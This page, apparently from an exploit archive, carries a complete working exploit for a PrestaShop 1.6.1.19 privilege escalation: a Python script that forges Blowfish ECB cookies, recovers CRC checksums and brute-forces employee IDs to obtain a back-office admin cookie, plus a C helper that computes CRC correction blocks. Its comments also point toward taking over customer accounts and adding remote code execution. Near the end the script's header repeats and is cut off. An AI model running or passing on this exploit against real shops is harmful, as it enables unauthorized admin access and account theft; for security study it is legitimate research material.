Registerprestashop < 1.6.1.19 blowfish ecd privilege escalation
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<--- exploit.py ---> #!/usr/bin/env python3 # PrestaShop <= 1.6.1.19 Privilege Escalation # Charles Fol # 2018-07-10 # # See https://ambionics.io/blog/prestashop-privilege-escalation # # # The condition for this exploit to work is for an employee to have the same # password as a customer. The exploit will yield a valid employee cookie for # back office access. # # With a bit of tweaking, one can modify the exploit to access any customer # account, get access to statistics, coupons, etc. or get an admin CSRF token. # # The attack may fail for a variety of reasons, including me messing up the # padding somewhere. You might need to run the exploit several times. # # POSSIBLE IMPROVEMENTS # - Improve the employee detection method # - Implement the RCE step # # gcc -o crc_xor crc_xor.c # vi exploit.py # ./exploit.py import requests import urllib.parse import binascii import string import itertools import sys import os import re # EDIT THIS BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop' ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb' CUSTOMER_EMAIL = 'user@user.io' CUSTOMER_PASSWORD = 'password2' # Helpers def http_session(): """Every HTTP session will be spawned from this function. You can add a proxy or custom rules. """ s = requests.Session() #s.proxies = {'http': 'localhost:8080'} return s def bl(string): """¤ is 2 bytes long, which forces us to encode strings before using len(). """ return len(string.encode()) def cs(blocks, offset=0): """Computes the full size of the cookie and returns it as a last 6-digit block. """ if offset > 0: offset -= SIZE_BLOCK return [ '%06d' % (len(blocks) * SIZE_BLOCK + offset) ] def xor(a, b): """XORs two strings and returns the result as bytes. """ return bytes(x ^ y for x, y in zip(a.encode(), b.encode())) def pb(n, z=False): """Returns the padding required to align n with SIZE_BLOCK, and its position in blocks. The z flag indicates if padding can be zero. """ padding = (- n) % SIZE_BLOCK if z and padding == 0: padding = SIZE_BLOCK block = (n + padding) // SIZE_BLOCK return padding, block crc32 = binascii.crc32 SIZE_BLOCK = 8 BASE_BYTE = '`' SIZE_LASTNAME_TO_FIRSTNAME = bl( '¤customer_firstname|' ) SIZE_FIRSTNAME_TO_PASSWD = bl( '¤logged|1¤is_guest|¤passwd|' ) SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl( '86df199881eaf8e9bb158c4f6b71ca0a¤email|' ) # Variable: it is properly set in PrestaShop.find_alignment SIZE_EMAIL_TO_END = bl( '¤id_cart|12345¤id_guest|6¤' ) ZERO_BLOCK = b'\x00' * SIZE_BLOCK FIRSTNAME = BASE_BYTE * 32 CHARSET_LASTNAME = string.ascii_letters EMAIL_DOMAIN = '@test.fr' MAX_ID_CUSTOMER = 100 MAX_ID_EMPLOYEE = 100 # Exploit classes class Exploitation: """Exploitation class. Handles the flow of the attack. The main process is the following: 1. X = read(cart_id) 2. Change password to recover_cart_X 3. read(password) -> we have a token to recover the cart, and therefore the customer password 4. write(id_employee, Z) 5. write(id_customer, Y) -> customer Y associated with cart_id X 6. Do the "Recover cart" procedure with the token 7. Access backoffice. If employee's Z password is the same as customer Y, then we obtain backoffice access """ def __init__(self, session, email, password): self.s = http_session() self.ps = PrestaShop(session, email, password) Cookie.ps = self.ps def prelude(self): self.ps.login() self.ps.find_alignment() self.ps.get_encrypted_numbers() self.ps.build_cookies() def run(self): """Runs the exploit. """ self.prelude() id_cart = self.read_id_cart() token = self.read_cart_token(id_cart) self.get_employee_cookie_name() self.get_write_blocks() self.get_nb_employees() for target_customer in range(1, MAX_ID_CUSTOMER): if not self.associate_id_customer(target_customer): break for target_employee in range(1, self.nb_employees+1): print("Trying customer[%d] employee[%d]" % ( target_customer, target_employee )) cookie = self.write_id_employee(target_employee) cookie = self.recover_cart(id_cart, token, cookie) if cookie: print('Success !!!') print('Backoffice cookie:') print('%s=%s' % (self.employee_cookie_name, cookie)) return print('No employee has the same password as a customer') def get_employee_cookie_name(self): """Obtains the name of the cookie for the backoffice. """ self.s.get(ADMIN_URL + '/index.php') for c, v in self.s.cookies.items(): if c.startswith('PrestaShop-'): self.employee_cookie_name = c break else: raise ValueError('Unable to find customer cookie') print('Employee cookie name: %s' % self.employee_cookie_name) def get_nb_employees(self): """Obtains the number of employees by requesting pdf.php with a spoofed id_employee cookie and iterating. It breaks after the first failure, so there might be cases where it fails to detect every employee. """ ecn = self.employee_cookie_name for i in range(1, MAX_ID_EMPLOYEE): cookie = self.write_id_employee(i) self.s.cookies.clear() self.s.cookies[ecn] = str(cookie) r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False) if r.status_code != 200: break self.s.cookies.clear() self.nb_employees = i - 1 print('There are at least %d employees' % self.nb_employees) def recover_cart(self, id_cart, token, cookie): """Performs the recover cart action with a cookie containing id_employee so that the returned cookie contains a password hash and an employee ID. This cookie can then be sent to the admin interface to verify it works. """ s = self.s s.cookies.clear() s.cookies[cookie.name] = str(cookie) r = s.post( BASE_URL + '/index.php', data={ 'token_cart': token, 'recover_cart': '%d' % id_cart }, allow_redirects=False ) s.cookies.clear() s.cookies[self.employee_cookie_name] = r.cookies[cookie.name] r = s.get( ADMIN_URL + '/index.php?controller=AdminDashboard', allow_redirects=False ) if 'AdminLogin' not in r.headers.get('Location', ''): return r.cookies[self.employee_cookie_name] return None def get_write_blocks(self): """Gets encrypted blocks for ¤id_employee and ¤id_customer. """ blocks = {} # ...¤id_ cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + bl(self.ps.email) + bl('¤id_') ) blocks['¤id_'] = cookie.blocks[block-1] # customer and employee cookie = self.ps.set_identity( lastname=BASE_BYTE * self.ps.i + 'customeremployee' ) blocks['customer'] = cookie.blocks[self.ps.p] blocks['employee'] = cookie.blocks[self.ps.p + 1] self.blocks = blocks def get_pipe_number(self, n): """Get the encrypted block for |000000N. """ self.ps.set_identity( email=('%07d' + EMAIL_DOMAIN) % n ) cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1 ) return cookie.blocks[block] def write_id_person(self, person, id): """Writes the given employee/customer ID in the cookie. """ plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id) blocks = [ self.blocks['¤id_'], self.blocks[person], self.get_pipe_number(id) ] return self.ps.writable_cookie.write(plaintext, blocks) def write_id_customer(self, id): """Writes id_customer for the given ID. """ return self.write_id_person('customer', id) def write_id_employee(self, id): """Writes id_employee for the given ID. """ return self.write_id_person('employee', id) def associate_id_customer(self, id): """Writes id_customer in our cookie in order to associate it to our cart ID. """ s = self.s # Write id_customer|X cookie = self.write_id_customer(id) s.cookies.clear() s.cookies[cookie.name] = str(cookie) # Associate the customer with the cart r = s.get( BASE_URL + '/index.php?controller=identity', allow_redirects=False ) matches = re.findall( 'id="(firstname|lastname|email)"[^>]+value="(.*?)"', r.text ) if not matches: return False matches = {k: v for k, v in matches} print( 'Got customer account: {lastname} {firstname} [{email}]'.format( **matches ) ) return True def read_id_cart(self): """Get id_cart's value by padding the cookie and reading the block. """ cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + bl(self.ps.email) + bl('¤id_cart|') ) # Since the cart ID usually fits in one block, we need to bruteforce its # size by changing the size of the cookie (last block contains size of # cookie) id_cart = None for i in range(1, 10): rcookie = self.ps.readable_cookie.extend( [cookie.blocks[block]], offset=i ) try: id_cart = rcookie.read() except ValueError: break if not id_cart: raise ValueError('Unable to read id_cart') # ¤ is two bytes long, so the last character of the obtained id_cart # will be \xc2, which we need to remove id_cart = int(id_cart[:-1]) print('Cart ID: %d' % id_cart) # The last try broke our cookie, and we're therefore logged out self.ps.login() return id_cart def read_cart_token(self, id_cart): """Set password to recover_cart_X and read it. """ self.ps.set_identity( passwd='recover_cart_%d' % id_cart ) cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD ) rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4]) token = rcookie.read().decode() print('Recover Cart token: %s' % token) return token def pad_lastname(self, offset): """Get a cookie where the value we want to read, which is offset bytes away from the last character of the lastname, is aligned with SIZE_BLOCK and therefore at the beginning of a block. """ padding, block = pb(bl(FIRSTNAME) + offset) cookie = self.ps.set_identity( lastname=BASE_BYTE * (self.ps.i + padding) ) block += self.ps.p return cookie, block class CRCPredictor: """Implements the resolution of the CRC system of equation. It works by iterating on a set of possible values. For instance, let's say we obtained 3 as the last digit for cookie A. The only possible CRCs at this point are the ones whose last digit is 3. So, we store them. The CRCs for the next cookie, B, must necessarily validate the equation: CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant). Therefore, we can update our stored checksums by xoring them with CRC(A ^ B) ^ C. The stored checksums are now the candidates for B. Now, let's say we obtain 5 as the last digit for B. We can throw away any candidate which does not end with 5. By repeating this, we will reach a valid checksum fairly quickly. """ ORDER = 10 def __init__(self, zeros, payload_size): self.payloads = [] self.digits = None self.candidates = None self.zeros = b"\x00" * zeros self.zero_crc = crc32(b"\x00" * (payload_size + zeros)) def purge_candidates(self, digits): """Removes candidates that do not end with given digits, and candidates with less than 10 digits. """ ORDER = self.ORDER candidates = self.candidates if candidates is not None: candidates = [ c for c in candidates if c % ORDER == digits ] # The very first set of candidates (before the first char) is the # entirety of [0, 2**32-1], which is way too big, so we only compute # candidates after the two first digits have been set. elif self.digits is None: self.digits = digits else: print("Generating first solution range (takes some time) ...") d = self.delta(self.payloads[-2], self.payloads[-1]) candidates = [ i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER) if (i ^ d) % ORDER == digits ] self.candidates = candidates def has_solution(self): """Returns true if the system has been solved. """ return self.candidates is not None and len(self.candidates) <= 1 def solution(self): """Returns the solution. """ return self.candidates[0] def delta(self, p0, p1): """Computes CRC(A ^ B) ^ C. """ d = xor(p0, p1) return crc32(d + self.zeros) ^ self.zero_crc def update_candidates(self, payload): """Updates every candidate CRC for next payload by xoring them with CRC(A ^ B) ^ C. """ ORDER = self.ORDER self.payloads.append(payload) if self.candidates is None: return set(range(ORDER)) delta = self.delta(self.payloads[-2], self.payloads[-1]) self.candidates = [ crc ^ delta for crc in self.candidates ] # Only keep 10-digit values as other values are not used self.candidates = [ c for c in self.candidates if c >= 1000000000 ] if not self.candidates: raise ValueError('Checksum equations have no solution !') # Return possible last digits for the new char return set(c % ORDER for c in self.candidates) class PrestaShop: """Contains several helpers for the interaction with the PrestaShop website and cookie manipulation. Responsible for the read and write exploit primitives. """ def __init__(self, session, email, password): self.s = session self.email = email self.original_email = self.email self.password = password self.original_password = self.password def post(self, url, **kwargs): headers = kwargs.get('headers', {}) headers['Referer'] = url return self.s.post(BASE_URL + url, **kwargs) def cookie(self): """Extracts the cookie from the requests session. """ for c, v in self.s.cookies.items(): if c.startswith('PrestaShop-'): return Cookie(c, v) raise ValueError('Unable to find customer cookie') def login(self): """Logs into PrestaShop using email/password. """ self.s.cookies.clear() r = self.post( '/index.php?controller=authentication', data={ 'email': self.email, 'passwd': self.password, 'back': 'identity', 'SubmitLogin': '' }, allow_redirects=False ) if not r.headers.get('Location', '').endswith('controller=identity'): raise ValueError('Invalid credentials') return self.cookie() def set_identity(self, **data): """Changes the identity of the current user. This generally involves changing firstname, lastname, and email. """ assert all(v != '' for v in data.values()), ( "Data contains an empty value" ) if 'email' in data: self.email = data['email'] if 'passwd' in data: data['confirmation'] = data['passwd'] defaults = { 'id_gender': '1', 'firstname': FIRSTNAME, 'lastname': 'User', 'email': self.email, 'days': '1', 'months': '1', 'years': '1990', 'old_passwd': self.password, 'passwd': '', 'confirmation': '', 'submitIdentity': '' } defaults.update(data) r = self.post( '/index.php?controller=identity', data=defaults ) if 'passwd' in data: self.password = data['passwd'] # If we changed the email or the password, we need to login again if 'email' in data: return self.login() return self.cookie() def find_alignment(self): """Obtains the position of the first repeated block of customer_lastname along with its offset from the start of the string. Also, computes SIZE_EMAIL_TO_END. Example: ...customer_lastname|BBAAAAAAAAAAAAAAAA... ...----++++++++--------++++++++--------... ^^ Offset = 2 ^ Position of the first repeated block """ cookie = self.set_identity( lastname='A' * SIZE_BLOCK * 4 ) #print(setup_cookie) last = None for p, block in enumerate(cookie.blocks): if block == last: break last = block else: raise ValueError('Unable to find identical blocks') p = p - 1 print('First identical block:', p, block) # Pad with Bs until the first block is modified to obtain alignment for i in range(1, SIZE_BLOCK): cookie = self.set_identity( lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i)) ) if cookie.blocks[p] != block: break else: raise ValueError('Unable to pad blocks') i = i - 1 print('Offset from "customer_lastname|":', i) self.p = p self.i = i # We also need to setup this length dynamically global SIZE_EMAIL_TO_END # Fix the id_connection problem self.login() # Grab 10 slightly different cookies, and get the longest one max_size = max( self.set_identity(lastname=c * 8).size() for c in 'ABCDEFGHIJ' ) SIZE_EMAIL_TO_END = ( max_size - ( self.p * SIZE_BLOCK - self.i + 8 + SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.original_email) + bl('checksum|') + 10 ) ) print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END) def get_encrypted_blocks(self, blocks): """Uses the email address to get a bunch of encrypted blocks. """ # Align the first character of the email with a block so that we obtain # 15 blocks per try # SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL = distance = - self.i + bl( '¤customer_firstname|' + FIRSTNAME ) + SIZE_FIRSTNAME_TO_EMAIL alignment, first_block = pb(distance) first_block += self.p cookie = self.set_identity( lastname='A' * alignment, email=''.join(blocks) + EMAIL_DOMAIN ) return cookie.blocks[first_block:first_block+len(blocks)] def get_encrypted_numbers(self, size=1): """Builds blocks starting with numbers and cipher them. """ encrypted_numbers = [] # 15 blocks can be ciphered at once: # |email| = 128, |domain| = 8 # |email| - |domain| = 120 # 120 / SIZE_BLOCK = 15 step = 15 for i in range(0, 10 ** size, step): # Convert the each of number into a block: # 3 -> 03xxxxxx numbers = [ str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x') for n in range(step) ] encrypted_numbers += self.get_encrypted_blocks(numbers) self.reset() self.encrypted_numbers = encrypted_numbers[:10 ** size] def discover_crc(self): """By correctly padding the cookie, we can force the last digit of the CRC to be in the last block, on its own. From this, and by using the email field to translate, we can guess what this digit is by replacing the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the cookie is accepted. Then, we can slightly change the cookie's content, and obtain the last digits for the new checksum. Due to the fact that CRC is affine, we can build an equation on the last two digits of these checksums. By repeating the operation, we get a set of equations, and solving it reveals the value of the checksum. Returns a magic cookie and its checksum. """ print('Discovering CRC checksum...') lo_digits = 1 nb_requests = 0 encrypted_numbers = self.encrypted_numbers # We only work with 10-digit checksums, and the probability of not # getting any 10-digit checksum over 10 requests is equal to 4.68e-07, # so we'll iterate 10 times and keep the longest cookie max_size = 0 cookie_base = None for i in range(10): cookie_base = self.set_identity( lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK ) if max_size < cookie_base.size(): max_size = cookie_base.size() # Checksum alignment: build a cookie such that the last block contains # lo_digits digits alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK s = http_session() payload_size = 2 zeros = ( SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.original_email) + SIZE_EMAIL_TO_END ) lastname = None predictor = CRCPredictor(zeros, payload_size) cache = {} # On each iteration, we replace some chars and keep the same length, # so that the affine property of CRC stays valid. # We then update our candidates using CRCPredictor, until one value's # left. for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size): payload = ''.join(payload) lastname = 'A' * (alignment_checksum - payload_size) + payload cookie = self.set_identity( lastname=lastname ) nb_requests += 1 # Only use 10-digit cookies if cookie.size() % SIZE_BLOCK != lo_digits: continue candidates = predictor.update_candidates(payload) # No point verifying if we have only one possibility, skip if len(candidates) == 1: predictor.purge_candidates(list(candidates)[0]) if predictor.has_solution(): break continue # If the single-digit block has already been seen, we can map it # immediately original_block = cookie.blocks[-2] if original_block in cache: n = cache[original_block] print('%s %d %s !' % (payload, n, original_block)) predictor.purge_candidates(n) continue #print(cookie) #print(candidates) # Bruteforce the last digit of the checksum by replacing the last # block by an encrypted number until it works for n in candidates: cookie.blocks[-2] = encrypted_numbers[n] print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r') response = s.head( BASE_URL + '/index.php?controller=identity', headers={'Cookie': '%s=%s' % (cookie.name, cookie)} ) nb_requests += 1 location = response.headers.get('Location', '') if 'controller=authentication' not in location: print('') break else: # This should not happen raise ValueError( 'Unable to guess digits for payload %r' % payload ) cache[original_block] = n predictor.purge_candidates(n) cookie.blocks[-2] = original_block if predictor.has_solution(): break else: # This should not happen raise ValueError('Unable to compute checksum value') checksum = predictor.solution() print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests)) return cookie, checksum def build_cookies(self): self.build_writable_cookie() self.build_readable_cookie() def build_writable_cookie(self): """Builds the first extendable cookie. It involves finding out the checksum value, and building the standard ending blocks. """ cookie, checksum = self.discover_crc() # ¤ custom block_o = self.set_identity( lastname='A' * (self.i + SIZE_BLOCK) ).blocks[self.p + 1] # AAAAA¤ c block_c = self.set_identity( lastname='A' * (self.i + 5) ).blocks[self.p] # hecksum| offset = ( SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.email) + SIZE_EMAIL_TO_END + bl('checksum|') ) offset, _ = pb(offset) block_s = self.set_identity( lastname='A' * (self.i + offset) ).blocks[-4] WritableCookie.blocks_checksum = [ block_o, block_c, block_s ] self.writable_cookie = WritableCookie( cookie.name, cookie.blocks, checksum ) print('Generated extendable cookie.') def build_readable_cookie(self): """To read arbitrary blocks we need to integrate the checksum and add customer_firstname|... at the end. """ p = self.p i = self.i # AAA¤ customer_firstname|```````` # ++++++++--------++++++++-------- c0 = self.set_identity( lastname='A' * (i + 3) ) cookie = self.writable_cookie self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4]) print('Generated read cookie.') def reset(self): return self.set_identity( email=self.original_email, passwd=self.original_password ) class Cookie: """Standard Prestashop cookie class. Splits the cookie into blocks. """ def __init__(self, name, value): self.name = name if isinstance(value, str): self.check_consistent(value) self.blocks = urllib.parse.unquote(value).split('=') else: self.blocks = value def check_consistent(self, value): """Checks if the given string is a valid ECB cookie. """ value = urllib.parse.unquote(value) if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value): raise ValueError('Invalid cookie') def clone(self): return self.__class__(self.name, str(self)) def size(self): """Last block is the size of the whole payload. """ return int(self.blocks[-1]) def __str__(self): return '='.join(self.blocks).replace('+', '%2B') class WritableCookie(Cookie): """Cookie with known checksum. It can be extended by adding encrypted blocks with a known plaintext, and recomputing the checksum. """ blocks_checksum = None def __init__(self, name, blocks, checksum): super().__init__(name, blocks) self.checksum = checksum def write(self, plaintext, blocks): """Adds blocks to current cookie, recomputes the checksum, and returns the new cookie. """ assert bl(plaintext) == len(blocks) * SIZE_BLOCK, ( "Plaintext's size does not match blocks'" ) # Compute the new checksum and get its encrypted blocks plaintext = ( 'ch' + plaintext + '¤custom' + 'AAAAA¤' ) checksum = crc32(plaintext.encode(), self.checksum) encrypted_checksum = self.ps.get_encrypted_blocks([ '%08d' % (checksum // 100), '%02dxxxxxx' % (checksum % 100) ]) self.ps.reset() # PLAINTEXT ORIGIN # ¤ custom customer_firstname } # AAAAA¤ c customer_firstname } blocks_checksum # hecksum| discover } # 12345678 email # 90xxxxxx email blocks = ( self.blocks[:-4] + blocks + self.blocks_checksum + encrypted_checksum ) blocks += cs(blocks, 2) return WritableCookie(self.name, blocks, checksum) def eat_checksum(self, rotations, read_blocks): """Adds a correction block to the cookie so that the checksum stays the same, and the last key/value pair is freed. End represents the plaintext that is meant to be added after the correction block. Initial cookie end: ¤checksum|1234567890 New cookie end: ¤checksum|1234567890 ABCDEFGH Where ABCDEFGH is the correction block. New cookie end with added KVP: ¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC... This allows to add another key/value pair, which won't be included in the checksum computation, at the end of the cookie. This pair can be anything and therefore include blocks with unknown plaintext. """ # Add a correction block such that the CRC of the cookie does not change # Note: the last block is supposed to be padded with spaces, but the # code is broken. It will add 1 space instead of 7 in our case, the # rest will be null bytes. added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum current_checksum = crc32(added.encode(), self.checksum) # Goal: crc32(correction_block, current_checksum) == self.checksum os.system('./crc_xor %u %u %u' % ( current_checksum, self.checksum, rotations )) with open('./crc_xor_result', 'r') as h: correction_block = h.read() print('Got correction block: %s' % correction_block) c = self.ps.set_identity( lastname='A' * self.ps.i + correction_block ) blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks blocks += cs(blocks) return ReadableCookie(self.name, blocks) class ReadableCookie(Cookie): """Cookie which ate its checksum. The last value can contain anything. It can be used to decipher arbitrary data: >>> rc.extend(['SUsidYDY']).read() 'hello123' """ def __init__(self, name, value): super().__init__(name, value) self.response = None def extend(self, blocks, offset=0): blocks = self.blocks[:-1] + blocks blocks += cs(blocks, offset) return self.__class__(self.name, blocks) def request(self): if not self.response: s = http_session() response = s.get( BASE_URL + '/index.php?mobile_theme_ok=1', headers={ 'Cookie': '%s=%s' % (self.name, self) } ) self.response = response return self.response def read(self): response = self.request() match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S) if not match: raise ValueError('Unable to find firstname/lastname in page') return match.group(1) s = http_session() exploit = Exploitation( s, CUSTOMER_EMAIL, CUSTOMER_PASSWORD ) try: exploit.run() except Exception as e: raise e finally: exploit.ps.reset() </--- exploit.py ---> <--- crc_xor.c ---> /* gcc -O3 -o crc_xor crc_xor.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MIN_VALUE 65 #define MAX_VALUE 122 #define SIZE_CORRECTION_BLOCK 8 #define OUTPUT_FILE_FORMAT "./%s_result" /* generated using the AUTODIN II polynomial * x^32 + x^26 + x^23 + x^22 + x^16 + * x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 */ char filename[32]; static const uint crc32tab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; void display(char* str, char end) { printf("%s%c", str, end); fflush(stdout); } /** * Write the content of correction to a file and exit. */ void write_exit(char* correction, size_t s) { display(correction, '\n'); FILE* f = fopen(filename, "w"); fwrite(correction, s, 1, f); fclose(f); } int main(int argc, char* argv[]) { uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF; uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF; uint const r = strtoul(argv[3], NULL, 10); uint crc; unsigned char correction[SIZE_CORRECTION_BLOCK+1]; uint crcs[SIZE_CORRECTION_BLOCK]; // Setup filename snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]); // Set every byte to the minimum value memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK); correction[SIZE_CORRECTION_BLOCK] = '\0'; register uint i; printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r); // Build original CRCs crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; for(i=1;i<SIZE_CORRECTION_BLOCK;i++) { crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; } display(correction, '\r'); while(1) { // Compare crc = crcs[SIZE_CORRECTION_BLOCK-1]; // A, r times for(i=r;i--;) { crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF]; } // ¤ == 0xc2a4 crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF]; crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF]; if(crc == goal) { write_exit(correction, SIZE_CORRECTION_BLOCK); return 0; } // Update correction block i = SIZE_CORRECTION_BLOCK; while(i--) { correction[i]++; if(correction[i] == 91) correction[i] = 97; if(correction[i] != MAX_VALUE) break; correction[i] = MIN_VALUE; } if(i <= SIZE_CORRECTION_BLOCK - 4) display(correction, '\r'); // If we reached the first byte, crc[-1] does not exist if(!i) crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; // Only the last i chars were changed, no need to update the others CRCs for(;i<SIZE_CORRECTION_BLOCK;i++) { crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; } } return 1; } </--- crc_xor.c ---> <--- exploit.py ---> #!/usr/bin/env python3 # PrestaShop <= 1.6.1.19 Privilege Escalation # Charles Fol # 2018-07-10 # # See https://ambionics.io/blog/prestashop-privilege-escalation # # # The condition for this exploit to work is for an 